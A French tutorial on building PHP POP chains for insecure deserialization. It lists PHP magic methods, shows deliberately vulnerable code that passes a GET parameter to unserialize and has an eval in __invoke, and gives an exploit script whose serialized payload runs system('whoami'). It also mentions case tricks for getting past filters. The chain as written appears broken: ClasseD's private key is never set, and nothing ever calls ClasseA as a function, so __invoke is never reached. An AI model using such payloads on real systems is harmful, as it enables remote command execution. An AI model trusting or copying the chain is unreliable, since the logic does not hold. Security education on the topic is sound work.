La construction d'une chaîne POP nécessite un point d'entrée, typiquement un endroit où les données sont désérialisées, et un point de sortie, tel qu'une fonction dangereuse comme eval ou include permettant l'exécution de code ou la lecture de fichiers. Une fois ces éléments identifiés, on les connecte à l'aide de méthodes magiques PHP.
Méthodes magiquse en PHP
Ces fonctions spéciales sont invoquées automatiquement dans certaines conditions :
__construct(): déclenchée à la création d'un objet.__destruct(): déclenchée à la destruction d'un objet.__sleep(): appelée avant la sérialisation d'un objet.__wakeup(): appelée avant la désérialisation d'un objet.__get(): appelée lors de l'accès à une propriété inaccessible ou inexistante.__set(): appelée lors de l'écriture dans une propriété inaccessible ou inexistante.__call(): déclenchée lors de l'appel d'une méthode inaccessible ou inexistante dans un contexte d'objet.__callStatic(): déclenchée lors de l'appel d'une méthode inaccessible ou inexistante dans un contexte statique.__toString(): appelée lorsque l'objet est utilisé comme chaîne.__invoke(): appelée lorsque l'objet est traité comme une fonction.
Analyse d'un exemple de chaîne POP
Considérons un scénario impliquant une désérialisation vulnérable. Voici un code source simplifié qui illustre le concept :
<?php
class ClasseA {
public $attribut1 = "init";
public $attribut2;
public function __wakeup() {
if ($this->attribut1 === "init") {
echo "Aucun indice.";
}
}
public function __call($nom, $args) {
$this->attribut1 = $args[0];
}
public function __toString() {
return $this->attribut1;
}
public function __invoke() {
@eval($this->attribut2);
}
}
class ClasseB {
public $enfant;
public $donnee;
public function __wakeup() {
$this->enfant->action($this->donnee);
}
}
class ClasseC {
public $reference;
public $contenu;
public function __call($methode, $args) {
$this->reference->propriete = $args[0];
}
public function __toString() {
return $this->contenu;
}
}
class ClasseD {
public $valeur = "défaut";
private $cle = "abc";
public function __set($nom, $val) {
$this->$nom = $val;
if ($this->cle === "condition") {
strtolower($this->valeur);
}
}
}
if (isset($_GET['input'])) {
@unserialize($_GET['input']);
} else {
highlight_file(__FILE__);
}
Stratégie de résolution :
1. Le point de sortie est l'exécution dans __invoke de ClasseA.
2. Pour déclencher __invoke, l'objet doit être appelé comme fonction, ce qui peut se produire via __toString dans un cotnexte approprié.
3. Les méthodes magiques permettent de relier les classes pour former la chaîne.
Construction de l'exploit
Créons un payload pour exploiter cette chaîne :
<?php
class ClasseA {
public $attribut1;
public $attribut2 = 'system("whoami");';
}
class ClasseB {
public $enfant;
public $donnee;
}
class ClasseC {
public $reference;
public $contenu;
}
class ClasseD {
public $valeur;
private $cle;
}
$objet = new ClasseB();
$objet->enfant = new ClasseC();
$objet->enfant->reference = new ClasseD();
$objet->enfant->reference->valeur = new ClasseC();
$objet->enfant->reference->valeur->contenu = new ClasseA();
$payload = urlencode(serialize($objet));
echo $payload;
Ce payload, une fois passé via le paramètre GET, déclenche l'exécuttion de commande. Des techniques de contournement, comme les variations de casse, peuvent être nécessaires pour éviter les filtrages.
En pratique, l'analyse de la sérialisation et des méthodes magiques permet de construire des chaînes d'exploitation complexes pour les tests de sécurité.